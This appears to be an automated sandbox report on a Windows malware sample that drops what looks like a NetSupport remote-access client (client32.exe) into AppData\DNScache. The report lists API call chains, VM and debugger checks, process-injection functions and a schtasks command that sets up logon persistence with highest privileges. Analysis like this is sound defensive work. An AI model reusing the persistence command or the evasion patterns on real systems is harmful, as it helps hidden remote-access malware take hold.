Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110238A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	9_2_110238A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110BFC50 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	9_2_110BFC50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11023F80 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	9_2_11023F80
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11110340 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	9_2_11110340
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	9_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	9_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_111365D0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	9_2_111365D0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11029200 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

7_2_11029200

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110B7290 Sleep,ExitProcess,		7_2_110B7290
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110B7290 Sleep,ExitProcess,		9_2_110B7290

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_2-10528
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_2-10528

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: _memset,LoadLibraryA,GetProcAddress,GetAdaptersInfo,_malloc,GetAdaptersInfo,wsprintfA,_free,FreeLibrary,

7_2_6C4E7F80

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Window / User API: threadDelayed 1492			Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Window / User API: threadDelayed 8147			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\wfapigp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\sxshared.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\rtutils.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\rtmmvrortc.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\sxssrv.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\whealogr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\remcmdstub.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Evaded block: after key decision	graph_2-10662
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-72643
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-72676
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-72731
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-73081
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-75847
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-76246
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-76491
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_7-75986

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-2531
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_7-73031
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_2-10668

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API coverage: 7.8 %
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API coverage: 2.1 %

Source: C:\Users\user\AppData\Local\DNScache\client32.exe TID: 5708	Thread sleep time: -373000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe TID: 5708	Thread sleep time: -2036750s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E126B8 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00007FF749E126B8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D0F905 FindFirstFileExW,	2_2_00D0F905
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102D1B3 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D1B3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11108090 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	7_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102CE84 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_11064EF0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102CD90 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	9_2_1102CD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	9_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	9_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11108090 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	9_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	9_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	9_2_11064EF0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76EFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,free,___loctotime32_t,free,__wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C76EFE1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C770F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C770F84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76CA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	9_2_6C76CA9B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C770B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime64_t,free,_wsopen_s,__fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C770B33
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76C775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	9_2_6C76C775
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C770702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C770702

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E141EC GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF749E141EC

Source: HTCTL32.DLL.2.dr	Binary or memory string: VMware
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW-D
Source: HTCTL32.DLL.2.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.2.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.0000000001479000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4607229467.000000000074E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4613899035.0000000004D30000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.2589113500.0000000004D30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.2.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: TCCTL32.DLL.2.dr	Binary or memory string: VMWare
Source: client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.claQl*
Source: client32.exe, 00000009.00000003.2298972932.00000000006BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	API call chain: ExitProcess graph end node	graph_2-10710
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node	graph_7-71100
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node	graph_7-70597
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Code function: 2_2_00D07884 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00D07884

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110CF9F0 _memset,_strncpy,CreateMutexA,OpenMutexA,GetLastError,wsprintfA,OutputDebugStringA,

7_2_110CF9F0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 9_2_6C796C74 VirtualProtect ?,-00000001,00000104,?

9_2_6C796C74

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

0_2_00007FF749E11A08

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Code function: 2_2_00D01000 lstrcmpA,GetProcessHeap,HeapAlloc,lstrlenA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,

2_2_00D01000

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E1170E SetUnhandledExceptionFilter,	0_2_00007FF749E1170E
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E11404 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF749E11404
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D07884 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D07884
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D0D978 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D0D978
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D07A11 SetUnhandledExceptionFilter,	2_2_00D07A11
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D06F73 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00D06F73
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11092090 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	7_2_11092090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1115E3E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_1115E3E1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1116A469 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_1116A469
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11030A50 _NSMClient32@8,SetUnhandledExceptionFilter,	7_2_11030A50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11092090 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	9_2_11092090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1115E3E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_1115E3E1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1116A469 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_1116A469
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11030A50 _NSMClient32@8,SetUnhandledExceptionFilter,	9_2_11030A50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C79ADFC _crt_debugger_hook,_memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,	9_2_6C79ADFC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C720807 __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	9_2_6C720807
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C79C16F __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	9_2_6C79C16F

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetWindowRect,GetWindowLongA,GetClassNameA,GetWindowThreadProcessId,OpenProcess,CloseHandle,FreeLibrary, \Explorer.exe		7_2_1102FB50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetWindowRect,GetWindowLongA,GetClassNameA,GetWindowThreadProcessId,OpenProcess,CloseHandle,FreeLibrary, \Explorer.exe		9_2_1102FB50

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110F21E0 GetTickCount,LogonUserA,GetTickCount,GetLastError,

7_2_110F21E0

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Code function: 2_2_00D01A80 GetProcessHeap,RegOpenKeyW,lstrlenW,RegSetValueExW,RegCloseKey,GetProcessHeap,GetProcessHeap,HeapAlloc,GetSystemDirectoryW,HeapFree,GetProcessHeap,HeapAlloc,wsprintfW,GetProcessHeap,HeapAlloc,HeapFree,wsprintfW,ShellExecuteW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

2_2_00D01A80

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1110F530 GetKeyState,DeviceIoControl,keybd_event,

7_2_1110F530

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST

Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1109D240 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

7_2_1109D240

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E12590 LoadLibraryA,GetProcAddress,AllocateAndInitializeSid,FreeSid,FreeLibrary,

0_2_00007FF749E12590

Source: client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: client32.exe, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	Binary or memory string: Shell_TrayWnd
Source: client32.exe, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	Binary or memory string: Progman
Source: client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	Binary or memory string: Progman<

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Code function: 2_2_00D07B48 cpuid

2_2_00D07B48

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_111700E5
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_11170376
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_11170419
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,	7_2_11167A6E
